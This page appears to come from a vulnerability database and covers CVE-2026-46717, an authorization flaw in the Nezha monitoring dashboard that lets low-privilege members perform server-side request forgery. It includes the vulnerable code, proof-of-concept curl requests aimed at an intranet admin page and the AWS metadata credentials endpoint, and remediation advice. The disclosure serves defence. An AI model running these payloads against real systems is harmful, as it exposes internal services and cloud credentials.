Skip to main content

Nezha Monitoring CVE-2026-46717

HIGH
Incorrect Authorization (CWE-863)
2026-05-23 https://github.com/nezhahq/nezha GHSA-w4g9-mxgg-j532
7.7
CVSS 3.1 · Vendor: https://github.com/nezhahq/nezha
Share

Severity by source

Vendor (https://github.com/nezhahq/nezha) PRIMARY
7.7 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
vuln.today AI
6.4 MEDIUM

Network-reachable endpoint, low complexity, requires a RoleMember account (PR:L), scope changes to intranet systems (S:C), partial confidentiality from body reflection (C:L), and unbounded ReadAll enables limited DoS (A:L).

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:L/SI:N/SA:N

Primary rating from Vendor (https://github.com/nezhahq/nezha).

CVSS VectorVendor: https://github.com/nezhahq/nezha

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

6
Analysis Updated
Jun 12, 2026 - 22:29 vuln.today
v3 (cvss_changed)
Analysis Updated
Jun 12, 2026 - 22:29 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Jun 12, 2026 - 22:22 vuln.today
cvss_changed
CVSS changed
Jun 12, 2026 - 22:22 NVD
8.5 (HIGH) 7.7 (HIGH)
Source Code Evidence Fetched
May 23, 2026 - 00:45 vuln.today
Analysis Generated
May 23, 2026 - 00:45 vuln.today

DescriptionCVE.org

Summary

nezha's dashboard supports two user roles: RoleAdmin (Role0) and RoleMember (Role1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler - so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the *entire* response body (no size limit) back to the caller on any non-2xx response.

Net effect: a low-privilege RoleMember can read intranet HTTP response bodies via the dashboard's hub.

Affected versions

Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.

Reachability chain

cmd/dashboard/controller/controller.go:121-122
    auth.GET("/notification", listHandler(listNotification))
    auth.POST("/notification", commonHandler(createNotification))   // <-- commonHandler, not adminHandler

For comparison, /user routes ARE gated by adminHandler:

auth.GET("/user", adminHandler(listUser))
auth.POST("/user", adminHandler(createUser))
auth.POST("/batch-delete/user", adminHandler(batchDeleteUser))

adminHandler (controller.go:220-236) explicitly enforces user.Role.IsAdmin(). commonHandler (controller.go:214-218) does not.

The vulnerable handler

go
// cmd/dashboard/controller/notification.go:46-83
func createNotification(c *gin.Context) (uint64, error) {
    var nf model.NotificationForm
    if err := c.ShouldBindJSON(&nf); err != nil { return 0, err }
    var n model.Notification
    n.UserID = getUid(c)
    n.Name = nf.Name
    n.RequestMethod = nf.RequestMethod
    n.RequestType = nf.RequestType
    n.RequestHeader = nf.RequestHeader
    n.RequestBody = nf.RequestBody
    n.URL = nf.URL
    ...
    ns := model.NotificationServerBundle{Notification: &n, Server: nil, Loc: singleton.Loc}
    if !nf.SkipCheck {
        if err := ns.Send(singleton.Localizer.T("a test message")); err != nil {
            return 0, err   // <-- err.Error() reflects up to caller via newErrorResponse
        }
    }
    ...
}

Identical pattern in updateNotification (PATCH /notification/:id) at lines 97-146.

The reflection sink

go
// model/notification.go:113-159
func (ns *NotificationServerBundle) Send(message string) error {
    var client *http.Client
    n := ns.Notification
    if n.VerifyTLS != nil && *n.VerifyTLS {
        client = utils.HttpClient
    } else {
        client = utils.HttpClientSkipTlsVerify
    }
    reqBody, err := ns.reqBody(message)
    if err != nil { return err }
    reqMethod, err := n.reqMethod()
    if err != nil { return err }
    req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))
    if err != nil { return err }
    n.setContentType(req)
    if err := n.setRequestHeader(req); err != nil { return err }
    resp, err := client.Do(req)
    if err != nil { return err }
    defer func() { _ = resp.Body.Close() }()
    if resp.StatusCode < 200 || resp.StatusCode > 299 {
        body, _ := io.ReadAll(resp.Body)   // <-- NO io.LimitReader
        return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body))
    } else {
        _, _ = io.Copy(io.Discard, resp.Body)
    }
    return nil
}

The full body (no size limit) is concatenated into an error string. That error flows through commonHandler → handle() → newErrorResponse(err) → c.JSON(http.StatusOK, ...). The intranet response body is JSON-encoded back to the RoleMember caller.

Additional wrinkle: client = utils.HttpClientSkipTlsVerify when VerifyTLS is false - attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.

PoC

A. Read intranet admin-panel response body

bash
curl -X POST -H "Authorization: Bearer <member-jwt>" \
  -H "Content-Type: application/json" \
  -d '{"name":"x","url":"http://192.168.1.1/admin/index.html","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
  http://nezha-dashboard.example.com/api/v1/notification

Response:

json
{"success":false,"error":"401@Unauthorized <full HTML body of the admin login page, no size limit>"}

B. AWS IMDSv2 reachability + body leak

bash
curl -X POST -H "Authorization: Bearer <member-jwt>" \
  -H "Content-Type: application/json" \
  -d '{"name":"x","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
  http://nezha-dashboard.example.com/api/v1/notification

IMDSv2 returns 401 with a body explaining the missing token; that body is reflected.

C. DoS via large internal file

Because the body is read via unbounded io.ReadAll, a RoleMember pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.

Suggested fix

  1. Switch /notification routes to adminHandler. Same fix for /alert-rule, /cron, /ddns if they also issue user-URL requests synchronously. Compare with how /user is already guarded.
go
   auth.POST("/notification", adminHandler(createNotification))
   auth.PATCH("/notification/:id", adminHandler(updateNotification))
  1. SSRF-harden NotificationServerBundle.Send():
  • Resolve URL host once via net.LookupIP; refuse private/loopback/link-local/CGNAT.
  • Pin http.Transport.DialContext to the resolved IP - closes DNS-rebinding TOCTOU.
  • Refuse non-http(s) schemes.
  1. Cap response body: io.LimitReader(resp.Body, 4096). 4 KB is plenty for surfacing webhook errors.
  2. Reconsider VerifyTLS=false toggle on RoleMember-reachable paths - if the route remains member-reachable, at minimum cert validation should be enforced.

Severity

  • CVSS 3.1: Medium - AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L ≈ 6.4. PR:L because attacker needs a RoleMember account (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS.
  • Auth: authenticated RoleMember (Role == 1).

Reproduction environment

  • Tested against: nezhahq/nezha:v0.x (commit 50dc8e660326b9f22990898142c58b7a5312b42a).
  • Code locations:
  • Handler: cmd/dashboard/controller/notification.go:46-83, 97-146
  • Sink: model/notification.go:113-159
  • Auth gate: cmd/dashboard/controller/controller.go:121-122 (commonHandler), 214-236 (handler defs)

Reporter

Eddie Ran. Filed via reporter API (PVR enabled). nezha's SECURITY.md mentions email hi@nai.ba for vulnerability reports - happy to also send via email if the maintainer prefers.

AnalysisAI

Server-side request forgery in Nezha Monitoring dashboard (versions >=1.4.0, <1.14.15-0.20260517022419-d06d539d34c1) allows authenticated low-privilege RoleMember accounts to issue arbitrary HTTP requests to intranet targets via the POST /api/v1/notification and PATCH /api/v1/notification/:id endpoints, with full unbounded response bodies reflected back through error messages. Publicly available exploit code exists in the GHSA advisory, though EPSS is 0.03% (9th percentile) suggesting low mass-exploitation likelihood against this niche server-monitoring tool. Root cause is a missing adminHandler authorization gate combined with a notification webhook tester that ignores private/loopback CIDRs and lacks an io.LimitReader.

Technical ContextAI

Nezha (github.com/nezhahq/nezha) is a Go-based self-hosted server monitoring dashboard that supports user-configurable webhook notifications. The vulnerability is CWE-863 (Incorrect Authorization): routes in cmd/dashboard/controller/controller.go:121-122 were registered with commonHandler (any authenticated user) instead of adminHandler, while the comparable /user routes correctly use adminHandler that enforces user.Role.IsAdmin(). The downstream NotificationServerBundle.Send() in model/notification.go:113-159 performs a synchronous outbound HTTP request to a user-controlled URL using utils.HttpClientSkipTlsVerify when VerifyTLS is false, then on any non-2xx response concatenates the full response body via unbounded io.ReadAll into an error string that propagates back to the caller as a JSON error field - turning a webhook-test feature into a classic blind-SSRF-with-body-reflection primitive against the host's network position (intranet HTTP services, cloud metadata endpoints like 169.254.169.254).

RemediationAI

Vendor-released patch: upgrade to 1.14.15-0.20260517022419-d06d539d34c1 or later, which lands fix commit d06d539d34c143d842b91e2a64326e8c8f9bc405 (https://github.com/nezhahq/nezha/commit/d06d539d34c143d842b91e2a64326e8c8f9bc405). The fix introduces a CIDR blocklist (RFC1918, loopback, link-local, CGNAT 100.64.0.0/10, IMDS 169.254.0.0/16, IPv6 ULA/link-local/etc.), pins http.Transport.DialContext to a pre-resolved IP to close DNS-rebinding TOCTOU, rejects non-http(s) schemes, disables redirect following, and caps reflected response bodies via io.CopyN(io.Discard, resp.Body, 4096) while removing the body string from the error message entirely. If immediate upgrade is not possible, restrict RoleMember account provisioning to trusted users only, block outbound egress from the dashboard host to internal CIDRs and to cloud metadata endpoints (169.254.169.254) at the network layer - accepting that this also disables legitimate intranet webhook delivery - and consider front-loading /api/v1/notification POST/PATCH with a reverse-proxy ACL that requires admin-equivalent identity. Auditors should also review /alert-rule, /cron, and /ddns for the same commonHandler vs adminHandler gap noted by the reporter.

Share

CVE-2026-46717 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy